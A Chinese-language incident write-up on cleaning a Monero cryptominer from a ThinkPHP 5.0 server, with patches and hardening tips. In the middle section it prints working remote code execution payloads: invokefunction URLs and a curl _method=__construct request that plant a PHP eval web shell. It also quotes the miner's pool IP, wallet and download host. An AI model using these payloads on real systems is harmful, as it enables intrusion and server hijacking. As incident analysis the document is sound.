最近两次发现服务器CPU占用率达95%左右,top 查看后发现有个进程占用异常偏高。但却不占用大量宽带资源,并且服务器在请求压力不大的情况下能正常访问,也就是不设置资源报警不易发觉。
在第一次发现时还以为是系统代码问题导致死循环直接kill进程,但过一周后再次出现相同的情况感觉不对,应该是被玩了。
首先查看下进程信息
top
从top命令中可以看到一个http的进程占用资源非常大,服务器使用的是nginx+php-fpm组合用户组是www,不会出现http命令的进程,http进程有点类似apache的httpd。
需要分析下进程的来源以便彻底清除,不过进程来自www用户,而这个用户组不会用于其它进程,也就是基本上可以断定是通过http请求过来的getshell***。
查看进程信息:
ll /proc/28141
可以看到exe执行文件已经被删除了,同时还有子程序( task 目录下),多进程的方式都是为是最大化利用CPU多核资源完成大量的计算工作。
查看启动进程命令:
cat /proc/28141/cmdline
单独启动的可执行程序,应该是启动后自动删除了程序文件。可以更好的隐藏。
安装下 lsof 命令,查看进程打开的文件信息
yum install lsof lsof -p
从这里可以看到进程文件中包含了 http 文件,所在目录是 /tmp 下,并且已经删除了。进一步确定文件启动的位置。
通过strace 命令查看下进程执行信息
strace -p 28141
命令中大部分是在 epoll_wait ,网上查一下是用于网络编程的,具体可自行了解。但可以确定这个进程一直在死循环同一个操作。
查看下子进程:
ps -T -p 28141
top -H -p 28141
有很多个子进程,其中有几个占用非常高,到这里可以确定CPU被吃了的大概情况,剩下就需要找出来源,程序是如何启动的。
上面已经知道进程启动的用户是www,那查看下www有多少进程
ps aux|grep www
从这些命令中可以看到有几个进程需要好好了解下: perl、python r http、sh、sleep 0.5 ,因为在服务里设置www用户组是给nginx和php-fpm两个进程用的,而这几个进程显然不是正常进程。
从异常http进程来看 python r http 进程很像是守护http进程先查它。按上面的方法走下。
lsof -p 16277
从这里可以看到这个进程工作目录在/tmp下而且是通过 /var/run/php-fpm.sock 启动的与http进程的启动目录一样即很有可能是守护相关进程。还有系统并未使用php代码去调用python进程,进一步说明php代码存在getshell漏洞。
首先kill掉python r http进程
kill 16227
然后再看看是否kill掉了,结果
整不掉,说明进程有问题,强制kill处理
kill -9 16277
再看
进程已经kill掉了,然后kill掉http进程。
kill 28141
一次性解决,然后再看下服务器的CPU占用率,已经恢复正常。
top
这时就可以把其它几个进程全部kill掉,因为是***进程一般kill整不掉所以直接全部使用kill -9来处理,其中sleep进程是睡眠进程过会即自动结束无需处理。
kill -9 13160 kill -9 13205 kill -9 19914
然后再来分析黑入来源或方式,前段时间国产框架ThinkPHP5.0被爆致使getshell漏洞两个,然而系统里正好系统使用的是ThinkPHP5.0。分别有:
注意:给出黑入方式只是为了更了解黑入手段,不可肆意黑入他人,否则需要承担法律责任,并且一切操作与本人无关! 不实事正常黑入一般都是从国外来的,毕竟追查难。
2018年12月9日发布 https://blog.thinkphp.cn/869075?spm=a2c4g.11174386.n2.6.44e41051jOK7oE
这个漏洞影响非常大,主要是框架为了功能更灵活自我创造的漏洞,网上已经有相关的黑入方式,大概的条件有:
think\App 类 module 方法无过滤处理 调用了 Loader::controller 方法
$instance = Loader::controller($controller, $config['url_controller_layer'], $config['controller_suffix'], $config['empty_controller']);
而 think\Loader::controller 方法又做了一个非常夸张的动作,代码如下:
这行代码在一开始就判断了 $name 是否包含 \ 符号,只要处理这个符号则直接当控制器类来使用,不经过任何处理就直接拿来使用,利用这点可以使用其它非控制器类的类。
如果能添加自己需要的参数那就更方便了。刚好 think\App 类中获取到控制器后调用了 think\App::invokeMethod 方法
return self::invokeMethod($call, $vars);
think\App::invokeMethod 方法会通过 think\App::bindParams 方法把请求的数据获取出来。
但在查看 think\App::bindParams 方法时会发现有一个配置条件,会影响提取参数的形式,这个会影响黑入的形式。url_param_type 配置为 0 为说时取的是请求参数,为 1 时取路径参数。
比较典型的黑入连接有:(通过请求自动写黑入脚本)
http://localhost/index.php/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=%3C?php%20@eval($_POST[ggsmd]);?%3E
http://localhost/index.php/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%3C?php%20@eval($_POST[ggsmd]);?%3E%27%3Ezxc.php
以上两种不同的处理方式都可以完成黑入,一但黑入脚本生成成功就可以执行请求所在用户组权限之内的所有功能,而且还可以操作完后把自己给删除,不留下明显的痕迹。
兼容做法官方已经出,具体代码调整是:thinkphp/library/think/App.php 大概在 module 函数372行增加如下代码
if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }
如下图
这个漏洞官方已经出解救方式:https://blog.thinkphp.cn/869075?spm=a2c4g.11174386.n2.6.44e41051jOK7oE
2019年1月11日发布 https://blog.thinkphp.cn/910675?spm=a2c4g.11174386.n2.6.45051051H6NAsV
这次发布的漏洞又是一大壮举,***者双可以来一波小刺激。框架初衷是灵活结果又过头了,坑了一把粉丝。同样网上也有相关的***方式,大概的情况有:
think\Request 类的 method 方法允许执行指定POST请求数据为方法名的 think\Request 类方法,默认 var_method 值为 _method,也就是请求参数里包含这个键值就可以好好玩一把了,而框架本身调用这个方法的地方很多而且会进入***代码块,使得***更简单了,具体的可以跟踪下代码了解调用线路。
那么问题来了,只能玩 think\Request 类的方法能做什么,表面来看没有什么,但 think\Request 类里又提供了一些扩展功能并提供了调用 call_user_func 或 call_user_func_array 方法的能力,从整个类文件里看有两个类容易利用分别是 __call 和 filterValue 方法,这两个方法有个特点就是参数是通过当前类里的属性来提取调用器,如果能通过请求修改这个类里的这些属性值即可完成***。
通过代码分析可以看到 think\Request 类 filterValue 方法有参数都会进入,所以更容易***。
只要能修改 think\Request 类的 filter 数据即可。最简单是调用 think\Request 类的 __construct 方法。
先分析 method 方法代码:
只要POST参数包含配置数据 var_method 值为键值即可,默认 var_method 值为 _method,所以可以使用简单的POST请求并添加 _method=方法名 就可以调用,并且会把请求的数据全部传入。
再来看看 __construct 方法代码:
这段代码毫无保留的直接修改类属性数据,所以可以直接修改 filter 数据,我们通过发送一个POST请求:(简单点通过curl命令来操作)
curl -X "POST" "http://appapi.zujiekeji.loc/index.php" -d "_method=__construct&filter[]=system&_=echo \"\" > zxc.php"
那么系统就会自行创建一个***代码文件,然后我们再请求这个文件完成想要做的各种事情。
这个功能主要目的应该通过POST请求动态切换请求类型,比如通过POST请求切换到PUT请求到框架中处理,实际应用中需要这种动态切换类型数据的场景不多,而且整不好会破坏其它类型正常数据。
建议直接去掉这段代码修复这个漏洞:thinkphp/library/think/Request.php 大概在 method 函数502行去掉对应的判断代码
如果已经有使用这里的功能特性那只能增加过滤条件:
/** * 当前的请求类型 * @access public * @param bool $method true 获取原始请求类型 * @return string */ public function method($method = false) { if (true === $method) { // 获取原始请求类型 return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']); } elseif (!$this->method) { if (isset($_POST[Config::get('var_method')])) { $_method = strtoupper($_POST[Config::get('var_method')]); if(in_array($_method, ['get','post','put','delete','head','patch','options'] , true)){ $this->method = $_method; $this->{$this->method}($_POST); } } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) { $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']); } else { $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']); } } return $this->method; }
对于这个漏洞官方已经出了对应的解决方法:https://blog.thinkphp.cn/910675?spm=a2c4g.11174386.n2.6.45051051H6NAsV
有了这两个漏洞的了解,就可以来看看日志数据了,是否有相关的请求来源,如果存在则比较吻合几个条件:
1、异常进程使用的用户组相同
2、进程是通过php-fpm启动的(即外部请求调用的)
3、与爆出漏洞时间点比较接近
4、存在漏洞黑入机会
搜索nginx日志后发现
所有基本上可以断定是这里造成的问题。
现在基本上使用的是云服务器,一般都有基本的安全预警,这里使用的是阿里云服务器,从主机异常从可以找到异常信息有:
也就是这里通过请求黑入的php脚本执行了这些命令,完成了整个的黑入。
手动下载配置文件 http://190.2.147.11/static/data.c 后,会发现这么一个json文件
{ "algo": "cryptonight", "api": { "port": 0, "access-token": null, "id": null, "worker-id": null, "ipv6": false, "restricted": true }, "asm": true, "autosave": true, "av": 0, "background": true, "colors": true, "cpu-affinity": null, "cpu-priority": null, "donate-level": 1, "huge-pages": true, "hw-aes": null, "log-file": null, "max-cpu-usage": 95, "pools": [ { "url": "190.2.147.8:6666", "user": "4An3Radh69LgcTHJf1U3awa9ffej4b6DcUmEv8wirsDm8zRMSjifrwybH2AzHdEsW8eew3rFtk4QbGJMxqitfxmZJhABxpT", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": false, "variant": -1, "tls": false, "tls-fingerprint": null } ], "print-time": 60, "retries": 5, "retry-pause": 5, "safe": false, "threads": null, "user-agent": null, "watch": false }
网上一找是门罗币的挖矿配置,通过下载挖矿程序再启动,即可免费挖矿。一般挖矿没有破坏性但会占用大量CPU资源和内存还有部分宽带,严重影响服务器性能有价值的性能发辉。
事前这些安全漏洞阿里去已经通知过,虽然知道的稍晚也作了漏洞补救,但没有想到进程已经在知道前注入了,没有过多的去检查,导致被肉鸡。
对此一些安全细节点需要留意:
1、对外服务进程用户不可使用root,防止黑入后权限过大
2、用户组下可疑进程时常排查下(可写个脚本定时处理,阿里云部分监控但不能100%可靠)
3、系统硬件资源需要定时查看是否正常(可写个脚本定时提取,阿里云有监控可配置)
4、安全漏洞一定要及时修复并检查是否已经被黑了
5、对于PHP系统代码尽可能不使用可执行命令的函数如eval、system等
6、框架尽可能选用更安全的(这不是诋毁目前tp框架为了灵活功能且体积更小花了不少心思但功能过于灵活存在的安全问题也就越大,实际使用率有多少?)
7、不要看轻搞事人的能力服务器在公网端口是直接暴露的,很容易扫描出来,所以不是很需要的功能尽可能不要开
8、防火墙类的过滤性安全还是要增加的,能减少外网访问的端口想法办限制